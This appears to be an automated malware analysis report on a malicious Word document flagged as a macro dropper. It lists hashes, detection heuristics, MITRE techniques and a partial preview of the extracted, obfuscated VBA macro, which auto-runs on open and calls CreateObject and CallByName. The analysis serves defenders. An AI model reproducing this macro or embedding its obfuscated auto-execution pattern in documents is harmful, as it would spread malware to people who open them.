Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ecd18ebb79240816…

MALICIOUS

Office (OLE)

112.0 KB Created: 2016-04-27 22:46:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 47526369398e5d206169fd5be4da0f32 SHA-1: ddc309b92f600e6e878902fcb77dd81a397154f0 SHA-256: ecd18ebb79240816b9d2d1d448d671be722b4300a51254e5c7aec70e35ad67d0
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing a Document_Open VBA macro. This macro utilizes CreateObject and CallByName functions to execute obfuscated code, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-1399074' further supports its role as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-1399074 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1399074
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15088 bytes
SHA-256: 5cbe2d665b330abf28bdc9086b734fd9a2ce2fb052b8fac827f8699e1725edf7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
H41D4w.DDMQoRjo6d
End Sub
Public Sub ATgjAr()
Dim QfScd5 As Object
Dim ihO3wnp As Variant, fxSEPoPytrzV As Integer
Dim j85OvD30lz As String
On Error GoTo lRxiXYrcpKMPKS
Set QfScd5 = AEdjnLf8JL.Ir2UUDUGwJ(YceFoRwGZXJJgJl(VuLW4SSx.dypufYJzYRTt, 48), H41D4w.y4dW4Paqca)
fxSEPoPytrzV = iUuVqcgP7z3cu.CE24LeC5(QfScd5, YceFoRwGZXJJgJl(VuLW4SSx.uCDnYTjmMe, 129))
If fxSEPoPytrzV <> H41D4w.AHostVAcVzK21 Then
Err.Raise Number:=1
End If
ihO3wnp = iUuVqcgP7z3cu.CE24LeC5(QfScd5, YceFoRwGZXJJgJl(VuLW4SSx.gIQufkdXK, 296))
j85OvD30lz = H41D4w.K8VFl2 & H41D4w.agKo5o6wW & H41D4w.AM1G8nMHxwsb
AEdjnLf8JL.RHIsQQXzamNRtmh j85OvD30lz, ihO3wnp
AEdjnLf8JL.v1ARktfJL2lUt j85OvD30lz
Exit Sub
lRxiXYrcpKMPKS:
End Sub
Private Sub mPAYaM()
ywVfrmxnQudAbiphX
End Sub

Attribute VB_Name = "VuLW4SSx"
Attribute VB_Base = "0{B9FDA75F-B23F-4BDC-84C0-C69052964C2D}{D7212D92-5A2F-404E-A584-74B1C3D8BE2A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iUuVqcgP7z3cu"
Private Const txODmUjTobIHBPiw As Integer = 2693
Public Function uikE875oaX8q1(ByVal ysmMKr As String) As Object
Set uikE875oaX8q1 = CreateObject(ysmMKr)
End Function
Public Sub m2zgLvK1NE3B(ByVal e8BNpUbbbycg As Object, ByVal jKJo3WQIsbgPiH As String, ByVal rlcX0yZ As Variant)
CallByName e8BNpUbbbycg, jKJo3WQIsbgPiH, 4, rlcX0yZ
End Sub
Public Function uoYPb1(ByVal MEy3tFNOhauiqcc As Variant) As Variant
Set uoYPb1 = GetObject(MEy3tFNOhauiqcc)
End Function
Public Sub nVpZOWq(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv
End Sub
Private Sub RaeZJNISEDbkCVBLG()
YytabCUDR
End Sub
Public Sub GY9zkfrKLHTQzgN(ByVal e8BNpUbbbycg As Variant, ByVal KR7UG5nruz As Variant, ByVal lYBRuHlQQ As Variant, ByVal xTGXWi As Variant)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1, lYBRuHlQQ, xTGXWi
End Sub
Public Sub tmQN9NYLgV8(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String)
CallByName e8BNpUbbbycg, KR7UG5nruz, 1
End Sub
Public Function CE24LeC5(ByVal e8BNpUbbbycg As Object, ByVal jKJo3WQIsbgPiH As String) As Variant
CE24LeC5 = CallByName(e8BNpUbbbycg, jKJo3WQIsbgPiH, 2)
End Function
Public Function l7aZ8S3X(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant)
l7aZ8S3X = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv)
End Function
Public Function zJCApTh7DPrJc66(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal lYBRuHlQQ As Variant, ByVal xTGXWi As Variant, ByVal kijgCNlt3I As Variant) As Variant
zJCApTh7DPrJc66 = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, lYBRuHlQQ, xTGXWi, kijgCNlt3I)
End Function
Public Sub GnKAw3jL7nRs2()
Application.Run H41D4w.VKUZi2aE6IIf
End Sub
Public Function aWTQyzC2iOKD(ByVal e8BNpUbbbycg As Object, ByVal KR7UG5nruz As String, ByVal zTdHsv As Variant) As Variant
Set aWTQyzC2iOKD = CallByName(e8BNpUbbbycg, KR7UG5nruz, 1, zTdHsv)
End Function

Attribute VB_Name = "ePhvaqytwDKvx"
Public Function iFgaVU() As Boolean
Dim vuwK9At As Variant, lPPTlMQlaVNhTC As Object, rOTd9CDxV2 As String
For Each lPPTlMQlaVNhTC In AEdjnLf8JL.NuIRL7xaWA6vjIk
rOTd9CDxV2 = iUuVqcgP7z3cu.CE24LeC5(lPPTlMQlaVNhTC, H41D4w.YceFoRwGZXJJgJl(VuLW4SSx.jQgTrnCDcUx, 75))
For Each vuwK9At In H41D4w.kcqYdhNvvNuz5r
If H41D4w.HBIocv(rOTd9CDxV2, vuwK9At) Then GoTo wTBmzeOM3dKR6P6
Next
Next
iFgaVU = False
Exit Function
wTBmzeOM3dKR6P6:
iFgaVU = H41D4w.tiA0QalpI
End Function
Public Function ltqsiEr() As Boolean
Dim hAA78SvDl6kABD As String
Dim tVMG80njxnyN As Object
Dim H4SLWr6iMWR As Variant
Dim PFCaQuBtNEEgT As Variant
For Each tVMG80njxnyN In A
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.